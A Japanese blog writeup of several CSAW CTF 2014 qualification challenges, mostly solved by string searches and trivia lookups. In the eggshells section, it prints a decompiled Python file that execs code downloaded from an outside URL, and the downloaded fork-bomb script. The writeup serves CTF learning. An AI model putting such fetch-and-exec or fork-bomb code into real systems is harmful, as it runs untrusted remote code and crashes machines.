読者です 読者をやめる 読者になる 読者になる

しおあめにっき!

ひらがなかわいい

CSAW CTF 2014 Qualification Round に参加しました

CTF

今年の CSAW CTF は、参加できる時間が限られていたので、基本に忠実にやりました。結局、あまり解けなかったのですが、折角なので writeup を書きます。

bo (exploitation, 100 pt)

基本に忠実に文字列検索です。

$ strings bo | grep flag\{
flag{exploitation_is_easy!}

eggshells (Reverse Engineering, 100 pt)

基本に忠実に文字列検索です。

$ strings utils.pyc
urllib2s
http://kchung.co/lol.pyN(
__import__t
urlopent
read(
/Users/kchung/Desktop/CSAW Quals 2014/rev100/utils.pyt
<module>

気づかなかった場合は pycdc という便利ツールを使います。

$ pycdc utils.pyc
# Source Generated with Decompyle++
# File: utils.pyc (Python 2.7)

exec __import__('urllib2').urlopen('http://kchung.co/lol.py').read()

いずれにしろ気づいてしまえば、素直にスクリプトをダウンロードするだけです。

$ curl http://kchung.co/lol.py
import os
while True:
    try:
        os.fork()
    except:
        os.system('start')
# flag{trust_is_risky}

dumpster diving (Forensics, 100 pt)

基本に忠実に文字列検索です。

$ strings firefox.mem | grep flag\{
ZZZZZZZZflag{cd69b4957f06cd818d7bf3d61980e291}

Obscurity (Forensics, 200 pt)

基本に忠実に文字列検索をやりますが PDF は圧縮されているのでテキストを抜き出す便利ツールを使います。

$ pdftotext pdf.pdf - | grep '\{'
  ag{security_through_obscurity}   

もしくは、基本に忠実に、リンク隠しの要領で PDF を全選択します。

http://cdn-ak.f.st-hatena.com/images/fotolife/s/saltcandy123/20140924/20140924225928.png

Shameless plug (Trivia, 10 pt)

基本に忠実にググります。 USENIX workshop education

基本に忠実にそれっぽい答えをサブミットしまくります。 答えは 3GSE です。

Twitter will you give me @kchung? (Trivia, 10 pt)

基本に忠実にスタッフ紹介のページを見ると、答えが書いてあります。 poopsec

まとめ

大変残念な writeup が書き上がりましたが、もちろん、こんなに簡単に答えにたどり着いたわけではありません。つまり、色んな紆余曲折があったわけですが、答えを知った上でやり直してみると、簡単な問題はこんなにも簡単なのだな、という感じがします。

難しい問題にチャレンジすることは、もちろん重要だと思いますし、素晴らしい経験になると思います。しかし、競技として CTF を見た場合、簡単な問題をすらすら解ける能力というのも、大事であるように思われます。今後は、簡単な問題をすらすら解いて、難しい問題に時間を割けるようになりたいと思います。